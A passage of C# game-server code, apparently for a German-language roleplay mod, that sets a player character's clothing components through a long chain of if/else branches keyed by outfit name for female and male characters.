API.setPlayerClothes(sender, 3, Convert.ToInt16(Database.CharacterOutfits.Outfits_Female.CHINESISCH_ANZUG.Z), 0);
|
|
}
|
|
else if (component == "Chinisischer Anzug2")
|
|
{
|
|
API.setPlayerClothes(sender, 11, Convert.ToInt16(Database.CharacterOutfits.Outfits_Female.CHINESISCH_ANZUG2.X), 1);
|
|
API.setPlayerClothes(sender, 8, Convert.ToInt16(Database.CharacterOutfits.Outfits_Female.CHINESISCH_ANZUG2.Y), 1);
|
|
API.setPlayerClothes(sender, 3, Convert.ToInt16(Database.CharacterOutfits.Outfits_Female.CHINESISCH_ANZUG2.Z), 0);
|
|
}
|
|
else if (component == "Rotes hereingestecktes Shirt")
|
|
{
|
|
API.setPlayerClothes(sender, 11, Convert.ToInt16(Database.CharacterOutfits.Outfits_Female.ROTES_SHIRT_HOSE.X), 1);
|
|
API.setPlayerClothes(sender, 8, Convert.ToInt16(Database.CharacterOutfits.Outfits_Female.ROTES_SHIRT_HOSE.Y), 1);
|
|
API.setPlayerClothes(sender, 3, Convert.ToInt16(Database.CharacterOutfits.Outfits_Female.ROTES_SHIRT_HOSE.Z), 0);
|
|
}
|
|
else if (component == "Hemt offen")
|
|
{
|
|
API.setPlayerClothes(sender, 11, Convert.ToInt16(Database.CharacterOutfits.Outfits_Female.OFFENES_HEMT_SEXY.X), 1);
|
|
API.setPlayerClothes(sender, 8, Convert.ToInt16(Database.CharacterOutfits.Outfits_Female.OFFENES_HEMT_SEXY.Y), 1);
|
|
API.setPlayerClothes(sender, 3, Convert.ToInt16(Database.CharacterOutfits.Outfits_Female.OFFENES_HEMT_SEXY.Z), 0);
|
|
}
|
|
else if (component == "Hemt geschlossen")
|
|
{
|
|
API.setPlayerClothes(sender, 11, Convert.ToInt16(Database.CharacterOutfits.Outfits_Female.GESCHLOSSEN_HEMT_SEXY.X), 1);
|
|
API.setPlayerClothes(sender, 8, Convert.ToInt16(Database.CharacterOutfits.Outfits_Female.GESCHLOSSEN_HEMT_SEXY.Y), 1);
|
|
API.setPlayerClothes(sender, 3, Convert.ToInt16(Database.CharacterOutfits.Outfits_Female.GESCHLOSSEN_HEMT_SEXY.Z), 0);
|
|
}
|
|
else if (component == "Pullover mit Aufdruck")
|
|
{
|
|
API.setPlayerClothes(sender, 11, Convert.ToInt16(Database.CharacterOutfits.Outfits_Female.PULLOVER_AUFDRUCK.X), 1);
|
|
API.setPlayerClothes(sender, 8, Convert.ToInt16(Database.CharacterOutfits.Outfits_Female.PULLOVER_AUFDRUCK.Y), 1);
|
|
API.setPlayerClothes(sender, 3, Convert.ToInt16(Database.CharacterOutfits.Outfits_Female.PULLOVER_AUFDRUCK.Z), 0);
|
|
}
|
|
else if (component == "Krokodil Jacke")
|
|
{
|
|
API.setPlayerClothes(sender, 11, Convert.ToInt16(Database.CharacterOutfits.Outfits_Female.KROKODIL_JACKE.X), 1);
|
|
API.setPlayerClothes(sender, 8, Convert.ToInt16(Database.CharacterOutfits.Outfits_Female.KROKODIL_JACKE.Y), 1);
|
|
API.setPlayerClothes(sender, 3, Convert.ToInt16(Database.CharacterOutfits.Outfits_Female.KROKODIL_JACKE.Z), 0);
|
|
}
|
|
else if (component == "Regen Jacke2")
|
|
{
|
|
API.setPlayerClothes(sender, 11, Convert.ToInt16(Database.CharacterOutfits.Outfits_Female.REGEN_JACKE2.X), 1);
|
|
API.setPlayerClothes(sender, 8, Convert.ToInt16(Database.CharacterOutfits.Outfits_Female.REGEN_JACKE2.Y), 1);
|
|
API.setPlayerClothes(sender, 3, Convert.ToInt16(Database.CharacterOutfits.Outfits_Female.REGEN_JACKE2.Z), 0);
|
|
}
|
|
else if (component == "Regen Jacke3")
|
|
{
|
|
API.setPlayerClothes(sender, 11, Convert.ToInt16(Database.CharacterOutfits.Outfits_Female.REGEN_JACKE3.X), 1);
|
|
API.setPlayerClothes(sender, 8, Convert.ToInt16(Database.CharacterOutfits.Outfits_Female.REGEN_JACKE3.Y), 1);
|
|
API.setPlayerClothes(sender, 3, Convert.ToInt16(Database.CharacterOutfits.Outfits_Female.REGEN_JACKE3.Z), 0);
|
|
}
|
|
else if (component == "Jumpsuit Pullover")
|
|
{
|
|
API.setPlayerClothes(sender, 11, Convert.ToInt16(Database.CharacterOutfits.Outfits_Female.JUMPSUIT_PULLOVER.X), 1);
|
|
API.setPlayerClothes(sender, 8, Convert.ToInt16(Database.CharacterOutfits.Outfits_Female.JUMPSUIT_PULLOVER.Y), 1);
|
|
API.setPlayerClothes(sender, 3, Convert.ToInt16(Database.CharacterOutfits.Outfits_Female.JUMPSUIT_PULLOVER.Z), 0);
|
|
}
|
|
else if (component == "Jumpsuit Pullover2")
|
|
{
|
|
API.setPlayerClothes(sender, 11, Convert.ToInt16(Database.CharacterOutfits.Outfits_Female.JUMPSUIT_PULLOVER_2.X), 1);
|
|
API.setPlayerClothes(sender, 8, Convert.ToInt16(Database.CharacterOutfits.Outfits_Female.JUMPSUIT_PULLOVER_2.Y), 1);
|
|
API.setPlayerClothes(sender, 3, Convert.ToInt16(Database.CharacterOutfits.Outfits_Female.JUMPSUIT_PULLOVER_2.Z), 0);
|
|
}
|
|
else if (component == "Jumpsuit Pullover3")
|
|
{
|
|
API.setPlayerClothes(sender, 11, Convert.ToInt16(Database.CharacterOutfits.Outfits_Female.JUMPSUIT_PULLOVER_2_OFFEN.X), 1);
|
|
API.setPlayerClothes(sender, 8, Convert.ToInt16(Database.CharacterOutfits.Outfits_Female.JUMPSUIT_PULLOVER_2_OFFEN.Y), 1);
|
|
API.setPlayerClothes(sender, 3, Convert.ToInt16(Database.CharacterOutfits.Outfits_Female.JUMPSUIT_PULLOVER_2_OFFEN.Z), 0);
|
|
}
|
|
else if (component == "Camouflauge Jacke")
|
|
{
|
|
API.setPlayerClothes(sender, 11, Convert.ToInt16(Database.CharacterOutfits.Outfits_Female.JACKE_FULLCAMOFLAUGE.X), 1);
|
|
API.setPlayerClothes(sender, 8, Convert.ToInt16(Database.CharacterOutfits.Outfits_Female.JACKE_FULLCAMOFLAUGE.Y), 1);
|
|
API.setPlayerClothes(sender, 3, Convert.ToInt16(Database.CharacterOutfits.Outfits_Female.JACKE_FULLCAMOFLAUGE.Z), 0);
|
|
}
|
|
else if (component == "Camouflauge Jacke2")
|
|
{
|
|
API.setPlayerClothes(sender, 11, Convert.ToInt16(Database.CharacterOutfits.Outfits_Female.JACKE_CAMOFLAUGE_MIT_SCHWARZ.X), 1);
|
|
API.setPlayerClothes(sender, 8, Convert.ToInt16(Database.CharacterOutfits.Outfits_Female.JACKE_CAMOFLAUGE_MIT_SCHWARZ.Y), 1);
|
|
API.setPlayerClothes(sender, 3, Convert.ToInt16(Database.CharacterOutfits.Outfits_Female.JACKE_CAMOFLAUGE_MIT_SCHWARZ.Z), 0);
|
|
}
|
|
else if (component == "Camouflauge Jacke3")
|
|
{
|
|
API.setPlayerClothes(sender, 11, Convert.ToInt16(Database.CharacterOutfits.Outfits_Female.JACKE_FULLCAMOFLAUGE_SEXY.X), 1);
|
|
API.setPlayerClothes(sender, 8, Convert.ToInt16(Database.CharacterOutfits.Outfits_Female.JACKE_FULLCAMOFLAUGE_SEXY.Y), 1);
|
|
API.setPlayerClothes(sender, 3, Convert.ToInt16(Database.CharacterOutfits.Outfits_Female.JACKE_FULLCAMOFLAUGE_SEXY.Z), 0);
|
|
}
|
|
else if (component == "Sportoberteil")
|
|
{
|
|
API.setPlayerClothes(sender, 11, Convert.ToInt16(Database.CharacterOutfits.Outfits_Female.SPORT_OBERTEIL.X), 1);
|
|
API.setPlayerClothes(sender, 8, Convert.ToInt16(Database.CharacterOutfits.Outfits_Female.SPORT_OBERTEIL.Y), 1);
|
|
API.setPlayerClothes(sender, 3, Convert.ToInt16(Database.CharacterOutfits.Outfits_Female.SPORT_OBERTEIL.Z), 0);
|
|
}
|
|
else if (component == "Bikini2")
|
|
{
|
|
API.setPlayerClothes(sender, 11, Convert.ToInt16(Database.CharacterOutfits.Outfits_Female.BIKINI2.X), 1);
|
|
API.setPlayerClothes(sender, 8, Convert.ToInt16(Database.CharacterOutfits.Outfits_Female.BIKINI2.Y), 1);
|
|
API.setPlayerClothes(sender, 3, Convert.ToInt16(Database.CharacterOutfits.Outfits_Female.BIKINI2.Z), 0);
|
|
}
|
|
} else if(geschlecht == 1)
|
|
{
|
|
if (component == "Oberkoerperfrei")
|
|
{
|
|
API.setPlayerClothes(sender, 11, Convert.ToInt16(Database.CharacterOutfits.Outfits_Male.OBERKOERPERFREI.X), 1);
|
|
API.setPlayerClothes(sender, 8, Convert.ToInt16(Database.CharacterOutfits.Outfits_Male.OBERKOERPERFREI.Y), 1);
|
|
API.setPlayerClothes(sender, 3, Convert.ToInt16(Database.CharacterOutfits.Outfits_Male.OBERKOERPERFREI.Z), 0);
|
|
}
|
|
else if (component == "Standart Ueberzug")
|
|
{
|
|
API.setPlayerClothes(sender, 11, Convert.ToInt16(Database.CharacterOutfits.Outfits_Male.DEFAULT.X), 1);
|
|
API.setPlayerClothes(sender, 8, Convert.ToInt16(Database.CharacterOutfits.Outfits_Male.DEFAULT.Y), 1);
|
|
API.setPlayerClothes(sender, 3, Convert.ToInt16(Database.CharacterOutfits.Outfits_Male.DEFAULT.Z), 0);
|
|
}
|
|
else if (component == "T-Shirt")
|
|
{
|
|
API.setPlayerClothes(sender, 11, Convert.ToInt16(Database.CharacterOutfits.Outfits_Male.TSHIRT.X), 1);
|
|
API.setPlayerClothes(sender, 8, Convert.ToInt16(Database.CharacterOutfits.Outfits_Male.TSHIRT.Y), 1);
|
|
API.setPlayerClothes(sender, 3, Convert.ToInt16(Database.CharacterOutfits.Outfits_Male.TSHIRT.Z), 0);
|
|
}
|
|
else if (component == "T-Shirt2")
|
|
{
|
|
API.setPlayerClothes(sender, 11, Convert.ToInt16(Database.CharacterOutfits.Outfits_Male.TSHIRT2.X), 1);
|
|
API.setPlayerClothes(sender, 8, Convert.ToInt16(Database.CharacterOutfits.Outfits_Male.TSHIRT2.Y), 1);
|
|
API.setPlayerClothes(sender, 3, Convert.ToInt16(Database.CharacterOutfits.Outfits_Male.TSHIRT2.Z), 0);
|
|
}
|
|
else if (component == "Laessige Jacke")
|
|
{
|
|
API.setPlayerClothes(sender, 11, Convert.ToInt16(Database.CharacterOutfits.Outfits_Male.LAESSIGE_JACKE.X), 1);
|
|
API.setPlayerClothes(sender, 8, Convert.ToInt16(Database.CharacterOutfits.Outfits_Male.LAESSIGE_JACKE.Y), 1);
|
|
API.setPlayerClothes(sender, 3, Convert.ToInt16(Database.CharacterOutfits.Outfits_Male.LAESSIGE_JACKE.Z), 0);
|
|
}
|
|
else if (component == "Muskel T-Shirt")
|
|
{
|
|
API.setPlayerClothes(sender, 11, Convert.ToInt16(Database.CharacterOutfits.Outfits_Male.ARMFREI_SHIRT.X), 1);
|
|
API.setPlayerClothes(sender, 8, Convert.ToInt16(Database.CharacterOutfits.Outfits_Male.ARMFREI_SHIRT.Y), 1);
|
|
API.setPlayerClothes(sender, 3, Convert.ToInt16(Database.CharacterOutfits.Outfits_Male.ARMFREI_SHIRT.Z), 0);
|
|
}
|
|
else if (component == "Leder Jacke")
|
|
{
|
|
API.setPlayerClothes(sender, 11, Convert.ToInt16(Database.CharacterOutfits.Outfits_Male.LEDER_JACKE.X), 1);
|
|
API.setPlayerClothes(sender, 8, Convert.ToInt16(Database.CharacterOutfits.Outfits_Male.LEDER_JACKE.Y), 1);
|
|
API.setPlayerClothes(sender, 3, Convert.ToInt16(Database.CharacterOutfits.Outfits_Male.LEDER_JACKE.Z), 0);
|
|
}
|
|
else if (component == "Pullover")
|
|
{
|
|
API.setPlayerClothes(sender, 11, Convert.ToInt16(Database.CharacterOutfits.Outfits_Male.PULLOVER.X), 1);
|
|
API.setPlayerClothes(sender, 8, Convert.ToInt16(Database.CharacterOutfits.Outfits_Male.PULLOVER.Y), 1);
|
|
API.setPlayerClothes(sender, 3, Convert.ToInt16(Database.CharacterOutfits.Outfits_Male.PULLOVER.Z), 0);
|
|
}
|
|
else if (component == "Polo Shirt")
|
|
{
|
|
API.setPlayerClothes(sender, 11, Convert.ToInt16(Database.CharacterOutfits.Outfits_Male.POLO_SHIRT.X), 1);
|
|
API.setPlayerClothes(sender, 8, Convert.ToInt16(Database.CharacterOutfits.Outfits_Male.POLO_SHIRT.Y), 1);
|
|
API.setPlayerClothes(sender, 3, Convert.ToInt16(Database.CharacterOutfits.Outfits_Male.POLO_SHIRT.Z), 0);
|
|
}
|
|
else if (component == "Anzugs Jacke")
|
|
{
|
|
API.setPlayerClothes(sender, 11, Convert.ToInt16(Database.CharacterOutfits.Outfits_Male.ANZUG_JACKE.X), 1);
|
|
API.setPlayerClothes(sender, 8, Convert.ToInt16(Database.CharacterOutfits.Outfits_Male.ANZUG_JACKE.Y), 1);
|
|
API.setPlayerClothes(sender, 3, Convert.ToInt16(Database.CharacterOutfits.Outfits_Male.ANZUG_JACKE.Z), 0);
|
|
}
|
|
else if (component == "Kurzer Jakko")
|
|
{
|
|
API.setPlayerClothes(sender, 11, Convert.ToInt16(Database.CharacterOutfits.Outfits_Male.KURZ_JAKKO.X), 1);
|
|
API.setPlayerClothes(sender, 8, Convert.ToInt16(Database.CharacterOutfits.Outfits_Male.KURZ_JAKKO.Y), 1);
|
|
API.setPlayerClothes(sender, 3, Convert.ToInt16(Database.CharacterOutfits.Outfits_Male.KURZ_JAKKO.Z), 0);
|
|
}
|
|
else if (component == "Hemd")
|
|
{
|
|
API.setPlayerClothes(sender, 11, Convert.ToInt16(Database.CharacterOutfits.Outfits_Male.HEMD.X), 1);
|
|
API.setPlayerClothes(sender, 8, Convert.ToInt16(Database.CharacterOutfits.Outfits_Male.HEMD.Y), 1);
|
|
API.setPlayerClothes(sender, 3, Convert.ToInt16(Database.CharacterOutfits.Outfits_Male.HEMD.Z), 0);
|
|
}
|
|
else if (component == "Farbiges Hemd")
|
|
{
|
|
API.setPlayerClothes(sender, 11, Convert.ToInt16(Database.CharacterOutfits.Outfits_Male.FARBIGES_HEMD.X), 1);
|
|
API.setPlayerClothes(sender, 8, Convert.ToInt16(Database.CharacterOutfits.Outfits_Male.FARBIGES_HEMD.Y), 1);
|
|
API.setPlayerClothes(sender, 3, Convert.ToInt16(Database.CharacterOutfits.Outfits_Male.FARBIGES_HEMD.Z), 0);
|
|
}
|
|
else if (component == "Farbiges T-Shirt")
|
|
{
|
|
API.setPlayerClothes(sender, 11, Convert.ToInt16(Database.CharacterOutfits.Outfits_Male.FARBIGES_TSHIRT.X), 1);
|
|
API.setPlayerClothes(sender, 8, Convert.ToInt16(Database.CharacterOutfits.Outfits_Male.FARBIGES_TSHIRT.Y), 1);
|
|
API.setPlayerClothes(sender, 3, Convert.ToInt16(Database.CharacterOutfits.Outfits_Male.FARBIGES_TSHIRT.Z), 0);
|
|
}
|
|
else if (component == "Farbiges Muskelshirt")
|
|
{
|
|
API.setPlayerClothes(sender, 11, Convert.ToInt16(Database.CharacterOutfits.Outfits_Male.FARBIGES_MUSKELSHIRT.X), 1);
|
|
API.setPlayerClothes(sender, 8, Convert.ToInt16(Database.CharacterOutfits.Outfits_Male.FARBIGES_MUSKELSHIRT.Y), 1);
|
|
API.setPlayerClothes(sender, 3, Convert.ToInt16(Database.CharacterOutfits.Outfits_Male.FARBIGES_MUSKELSHIRT.Z), 0);
|
|
}
|
|
else if (component == "Anzug")
|
|
{
|
|
API.setPlayerClothes(sender, 11, Convert.ToInt16(Database.CharacterOutfits.Outfits_Male.ANZUG.X), 1);
|
|
API.setPlayerClothes(sender, 8, Convert.ToInt16(Database.CharacterOutfits.Outfits_Male.ANZUG.Y), 1);
|
|
API.setPlayerClothes(sender, 3, Convert.ToInt16(Database.CharacterOutfits.Outfits_Male.ANZUG.Z), 0);
|
|
}
|
|
else if (component == "Anzug mit Kette")
|
|
{
|
|
API.setPlayerClothes(sender, 11, Convert.ToInt16(Database.CharacterOutfits.Outfits_Male.ANZUG_MIT_KETTE.X), 1);
|
|
API.setPlayerClothes(sender, 8, Convert.ToInt16(Database.CharacterOutfits.Outfits_Male.ANZUG_MIT_KETTE.Y), 1);
|
|
API.setPlayerClothes(sender, 3, Convert.ToInt16(Database.CharacterOutfits.Outfits_Male.ANZUG_MIT_KETTE.Z), 0);
|
|
}
|
|
else if (component == "Offener Anzug")
|
|
{
|
|
API.setPlayerClothes(sender, 11, Convert.ToInt16(Database.CharacterOutfits.Outfits_Male.OFFENER_ANZUG.X), 1);
|
|
API.setPlayerClothes(sender, 8, Convert.ToInt16(Database.CharacterOutfits.Outfits_Male.OFFENER_ANZUG.Y), 1);
|
|
API.setPlayerClothes(sender, 3, Convert.ToInt16(Database.CharacterOutfits.Outfits_Male.OFFENER_ANZUG.Z), 0);
|
|
}
|
|
else if (component == "Anzug2")
|
|
{
|
|
API.setPlayerClothes(sender, 11, Convert.ToInt16(Database.CharacterOutfits.Outfits_Male.ANZUG2.X), 1);
|
|
API.setPlayerClothes(sender, 8, Convert.ToInt16(Database.CharacterOutfits.Outfits_Male.ANZUG2.Y), 1);
|
|
API.setPlayerClothes(sender, 3, Convert.ToInt16(Database.CharacterOutfits.Outfits_Male.ANZUG2.Z), 0);
|
|
}
|
|
else if (component == "Hochgekrempeltes Hemd")
|
|
{
|
|
API.setPlayerClothes(sender, 11, Convert.ToInt16(Database.CharacterOutfits.Outfits_Male.HEMD_HOCHGEKREMPELT.X), 1);
|
|
API.setPlayerClothes(sender, 8, Convert.ToInt16(Database.CharacterOutfits.Outfits_Male.HEMD_HOCHGEKREMPELT.Y), 1);
|
|
API.setPlayerClothes(sender, 3, Convert.ToInt16(Database.CharacterOutfits.Outfits_Male.HEMD_HOCHGEKREMPELT.Z), 0);
|
|
}
|
|
else if (component == "Geschlossener Anzug")
|
|
{
|
|
API.setPlayerClothes(sender, 11, Convert.ToInt16(Database.CharacterOutfits.Outfits_Male.ANZUG_GESCHLOSSEN.X), 1);
|
|
API.setPlayerClothes(sender, 8, Convert.ToInt16(Database.CharacterOutfits.Outfits_Male.ANZUG_GESCHLOSSEN.Y), 1);
|
|
API.setPlayerClothes(sender, 3, Convert.ToInt16(Database.CharacterOutfits.Outfits_Male.ANZUG_GESCHLOSSEN.Z), 0);
|
|
}
|
|
else if (component == "Feiner Anzug Offen")
|
|
{
|
|
API.setPlayerClothes(sender, 11, Convert.ToInt16(Database.CharacterOutfits.Outfits_Male.ANZUG_FEIN_OFFEN.X), 1);
|
|
API.setPlayerClothes(sender, 8, Convert.ToInt16(Database.CharacterOutfits.Outfits_Male.ANZUG_FEIN_OFFEN.Y), 1);
|
|
API.setPlayerClothes(sender, 3, Convert.ToInt16(Database.CharacterOutfits.Outfits_Male.ANZUG_FEIN_OFFEN.Z), 0);
|
|
}
|
|
else if (component == "Feiner Anzug Geschlossen")
|
|
{
|
|
API.setPlayerClothes(sender, 11, Convert.ToInt16(Database.CharacterOutfits.Outfits_Male.ANZUG_FEIN_GESCHLOSSEN.X), 1);
|
|
API.setPlayerClothes(sender, 8, Convert.ToInt16(Database.CharacterOutfits.Outfits_Male.ANZUG_FEIN_GESCHLOSSEN.Y), 1);
|
|
API.setPlayerClothes(sender, 3, Convert.ToInt16(Database.CharacterOutfits.Outfits_Male.ANZUG_FEIN_GESCHLOSSEN.Z), 0);
|
|
}
|
|
else if (component == "Feiner Anzug 2 Offen")
|
|
{
|
|
API.setPlayerClothes(sender, 11, Convert.ToInt16(Database.CharacterOutfits.Outfits_Male.ANZUG_FEIN2_OFFEN.X), 1);
|
|
API.setPlayerClothes(sender, 8, Convert.ToInt16(Database.CharacterOutfits.Outfits_Male.ANZUG_FEIN2_OFFEN.Y), 1);
|
|
API.setPlayerClothes(sender, 3, Convert.ToInt16(Database.CharacterOutfits.Outfits_Male.ANZUG_FEIN2_OFFEN.Z), 0);
|
|
}
|
|
else if (component == "Feiner Anzug 2 Geschlossen")
|
|
{
|
|
API.setPlayerClothes(sender, 11, Convert.ToInt16(Database.CharacterOutfits.Outfits_Male.ANZUG_FEIN2_GESCHLOSSEN.X), 1);
|
|
API.setPlayerClothes(sender, 8, Convert.ToInt16(Database.CharacterOutfits.Outfits_Male.ANZUG_FEIN2_GESCHLOSSEN.Y), 1);
|
|
API.setPlayerClothes(sender, 3, Convert.ToInt16(Database.CharacterOutfits.Outfits_Male.ANZUG_FEIN2_GESCHLOSSEN.Z), 0);
|
|
}
|
|
else if (component == "Gestreiftes T-Shirt")
|
|
{
|
|
API.setPlayerClothes(sender, 11, Convert.ToInt16(Database.CharacterOutfits.Outfits_Male.TSHIRT_GESTREIFT.X), 1);
|
|
API.setPlayerClothes(sender, 8, Convert.ToInt16(Database.CharacterOutfits.Outfits_Male.TSHIRT_GESTREIFT.Y), 1);
|
|
API.setPlayerClothes(sender, 3, Convert.ToInt16(Database.CharacterOutfits.Outfits_Male.TSHIRT_GESTREIFT.Z), 0);
|
|
}
|
|
else if (component == "Offener Camoflauge Anzug")
|
|
{
|
|
API.setPlayerClothes(sender, 11, Convert.ToInt16(Database.CharacterOutfits.Outfits_Male.OFFENER_CAMOFLAUGE_ANZUG.X), 1);
|
|
API.setPlayerClothes(sender, 8, Convert.ToInt16(Database.CharacterOutfits.Outfits_Male.OFFENER_CAMOFLAUGE_ANZUG.Y), 1);
|
|
API.setPlayerClothes(sender, 3, Convert.ToInt16(Database.CharacterOutfits.Outfits_Male.OFFENER_CAMOFLAUGE_ANZUG.Z), 0);
|
|
}
|
|
else if (component == "Camoflauge T-shirt")
|
|
{
|
|
API.setPlayerClothes(sender, 11, Convert.ToInt16(Database.CharacterOutfits.Outfits_Male.CAMOFLAUGE_TSHIRT.X), 1);
|
|
API.setPlayerClothes(sender, 8, Convert.ToInt16(Database.CharacterOutfits.Outfits_Male.CAMOFLAUGE_TSHIRT.Y), 1);
|
|
API.setPlayerClothes(sender, 3, Convert.ToInt16(Database.CharacterOutfits.Outfits_Male.CAMOFLAUGE_TSHIRT.Z), 0);
|
|
}
|
|
else if (component == "Arbeits Hemd")
|
|
{
|
|
API.setPlayerClothes(sender, 11, Convert.ToInt16(Database.CharacterOutfits.Outfits_Male.ARBEITS_HEMT.X), 1);
|
|
API.setPlayerClothes(sender, 8, Convert.ToInt16(Database.CharacterOutfits.Outfits_Male.ARBEITS_HEMT.Y), 1);
|
|
API.setPlayerClothes(sender, 3, Convert.ToInt16(Database.CharacterOutfits.Outfits_Male.ARBEITS_HEMT.Z), 0);
|
|
}
|
|
else if (component == "Prozige Jacke")
|
|
{
|
|
API.setPlayerClothes(sender, 11, Convert.ToInt16(Database.CharacterOutfits.Outfits_Male.PROZIGE_JACKE.X), 1);
|
|
API.setPlayerClothes(sender, 8, Convert.ToInt16(Database.CharacterOutfits.Outfits_Male.PROZIGE_JACKE.Y), 1);
|
|
API.setPlayerClothes(sender, 3, Convert.ToInt16(Database.CharacterOutfits.Outfits_Male.PROZIGE_JACKE.Z), 0);
|
|
}
|
|
else if (component == "Mantel")
|
|
{
|
|
API.setPlayerClothes(sender, 11, Convert.ToInt16(Database.CharacterOutfits.Outfits_Male.MANTEL.X), 1);
|
|
API.setPlayerClothes(sender, 8, Convert.ToInt16(Database.CharacterOutfits.Outfits_Male.MANTEL.Y), 1);
|
|
API.setPlayerClothes(sender, 3, Convert.ToInt16(Database.CharacterOutfits.Outfits_Male.MANTEL.Z), 0);
|
|
}
|
|
else if (component == "Jacke")
|
|
{
|
|
API.setPlayerClothes(sender, 11, Convert.ToInt16(Database.CharacterOutfits.Outfits_Male.JACKE.X), 1);
|
|
API.setPlayerClothes(sender, 8, Convert.ToInt16(Database.CharacterOutfits.Outfits_Male.JACKE.Y), 1);
|
|
API.setPlayerClothes(sender, 3, Convert.ToInt16(Database.CharacterOutfits.Outfits_Male.JACKE.Z), 0);
|
|
}
|
|
else if (component == "Jacke Geschlossen")
|
|
{
|
|
API.setPlayerClothes(sender, 11, Convert.ToInt16(Database.CharacterOutfits.Outfits_Male.JACKE_GESCHLOSSEN.X), 1);
|
|
API.setPlayerClothes(sender, 8, Convert.ToInt16(Database.CharacterOutfits.Outfits_Male.JACKE_GESCHLOSSEN.Y), 1);
|
|
API.setPlayerClothes(sender, 3, Convert.ToInt16(Database.CharacterOutfits.Outfits_Male.JACKE_GESCHLOSSEN.Z), 0);
|
|
}
|
|
else if (component == "Mantel Geschlossen")
|
|
{
|
|
API.setPlayerClothes(sender, 11, Convert.ToInt16(Database.CharacterOutfits.Outfits_Male.MANTEL_GESCHLOSSEN.X), 1);
|
|
API.setPlayerClothes(sender, 8, Convert.ToInt16(Database.CharacterOutfits.Outfits_Male.MANTEL_GESCHLOSSEN.Y), 1);
|
|
API.setPlayerClothes(sender, 3, Convert.ToInt16(Database.CharacterOutfits.Outfits_Male.MANTEL_GESCHLOSSEN.Z), 0);
|
|
}
|
|
else if (component == "Offene Jacke")
|
|
{
|
|
API.setPlayerClothes(sender, 11, Convert.ToInt16(Database.CharacterOutfits.Outfits_Male.JACKE_OFFEN.X), 1);
|
|
API.setPlayerClothes(sender, 8, Convert.ToInt16(Database.CharacterOutfits.Outfits_Male.JACKE_OFFEN.Y), 1);
|
|
API.setPlayerClothes(sender, 3, Convert.ToInt16(Database.CharacterOutfits.Outfits_Male.JACKE_OFFEN.Z), 0);
|
|
}
|
|
else if (component == "Luxirioeses Shirt")
|
|
{
|
|
API.setPlayerClothes(sender, 11, Convert.ToInt16(Database.CharacterOutfits.Outfits_Male.LUXIRIOESES_SHIRT.X), 1);
|
|
API.setPlayerClothes(sender, 8, Convert.ToInt16(Database.CharacterOutfits.Outfits_Male.LUXIRIOESES_SHIRT.Y), 1);
|
|
API.setPlayerClothes(sender, 3, Convert.ToInt16(Database.CharacterOutfits.Outfits_Male.LUXIRIOESES_SHIRT.Z), 0);
|
|
}
|
|
else if (component == "Pullover 2")
|
|
{
|
|
API.setPlayerClothes(sender, 11, Convert.ToInt16(Database.CharacterOutfits.Outfits_Male.PULLOVER2.X), 1);
|
|
API.setPlayerClothes(sender, 8, Convert.ToInt16(Database.CharacterOutfits.Outfits_Male.PULLOVER2.Y), 1);
|
|
API.setPlayerClothes(sender, 3, Convert.ToInt16(Database.CharacterOutfits.Outfits_Male.PULLOVER2.Z), 0);
|
|
}
|
|
else if (component == "Collage Pullover")
|
|
{
|
|
API.setPlayerClothes(sender, 11, Convert.ToInt16(Database.CharacterOutfits.Outfits_Male.COLLAGE_PULLOVER.X), 1);
|
|
API.setPlayerClothes(sender, 8, Convert.ToInt16(Database.CharacterOutfits.Outfits_Male.COLLAGE_PULLOVER.Y), 1);
|
|
API.setPlayerClothes(sender, 3, Convert.ToInt16(Database.CharacterOutfits.Outfits_Male.COLLAGE_PULLOVER.Z), 0);
|
|
}
|
|
else if (component == "Pullover3")
|
|
{
|
|
API.setPlayerClothes(sender, 11, Convert.ToInt16(Database.CharacterOutfits.Outfits_Male.PULLOVER3.X), 1);
|
|
API.setPlayerClothes(sender, 8, Convert.ToInt16(Database.CharacterOutfits.Outfits_Male.PULLOVER3.Y), 1);
|
|
API.setPlayerClothes(sender, 3, Convert.ToInt16(Database.CharacterOutfits.Outfits_Male.PULLOVER3.Z), 0);
|
|
}
|
|
else if (component == "Polo Hemd")
|
|
{
|
|
API.setPlayerClothes(sender, 11, Convert.ToInt16(Database.CharacterOutfits.Outfits_Male.POLO_HEMT.X), 1);
|
|
API.setPlayerClothes(sender, 8, Convert.ToInt16(Database.CharacterOutfits.Outfits_Male.POLO_HEMT.Y), 1);
|
|
API.setPlayerClothes(sender, 3, Convert.ToInt16(Database.CharacterOutfits.Outfits_Male.POLO_HEMT.Z), 0);
|
|
}
|
|
else if (component == "Krokodil Jacke")
|
|
{
|
|
API.setPlayerClothes(sender, 11, Convert.ToInt16(Database.CharacterOutfits.Outfits_Male.KROKODIL_JACKE.X), 1);
|
|
API.setPlayerClothes(sender, 8, Convert.ToInt16(Database.CharacterOutfits.Outfits_Male.KROKODIL_JACKE.Y), 1);
|
|
API.setPlayerClothes(sender, 3, Convert.ToInt16(Database.CharacterOutfits.Outfits_Male.KROKODIL_JACKE.Z), 0);
|
|
}
|
|
else if (component == "Jacke 2")
|
|
{
|
|
API.setPlayerClothes(sender, 11, Convert.ToInt16(Database.CharacterOutfits.Outfits_Male.JACKE2.X), 1);
|
|
API.setPlayerClothes(sender, 8, Convert.ToInt16(Database.CharacterOutfits.Outfits_Male.JACKE2.Y), 1);
|
|
API.setPlayerClothes(sender, 3, Convert.ToInt16(Database.CharacterOutfits.Outfits_Male.JACKE2.Z), 0);
|
|
}
|
|
else if (component == "Schlafanzug")
|
|
{
|
|
API.setPlayerClothes(sender, 11, Convert.ToInt16(Database.CharacterOutfits.Outfits_Male.SCHLAFANZG.X), 1);
|
|
API.setPlayerClothes(sender, 8, Convert.ToInt16(Database.CharacterOutfits.Outfits_Male.SCHLAFANZG.Y), 1);
|
|
API.setPlayerClothes(sender, 3, Convert.ToInt16(Database.CharacterOutfits.Outfits_Male.SCHLAFANZG.Z), 0);
|
|
}
|
|
else if (component == "Motorrad Jacke")
|
|
{
|
|
API.setPlayerClothes(sender, 11, Convert.ToInt16(Database.CharacterOutfits.Outfits_Male.MOTORRAD_JACKE.X), 1);
|
|
API.setPlayerClothes(sender, 8, Convert.ToInt16(Database.CharacterOutfits.Outfits_Male.MOTORRAD_JACKE.Y), 1);
|
|
API.setPlayerClothes(sender, 3, Convert.ToInt16(Database.CharacterOutfits.Outfits_Male.MOTORRAD_JACKE.Z), 0);
|
|
}
|
|
else if (component == "Motorrad Jacke2")
|
|
{
|
|
API.setPlayerClothes(sender, 11, Convert.ToInt16(Database.CharacterOutfits.Outfits_Male.MOTORRAD_JACKE2.X), 1);
|
|
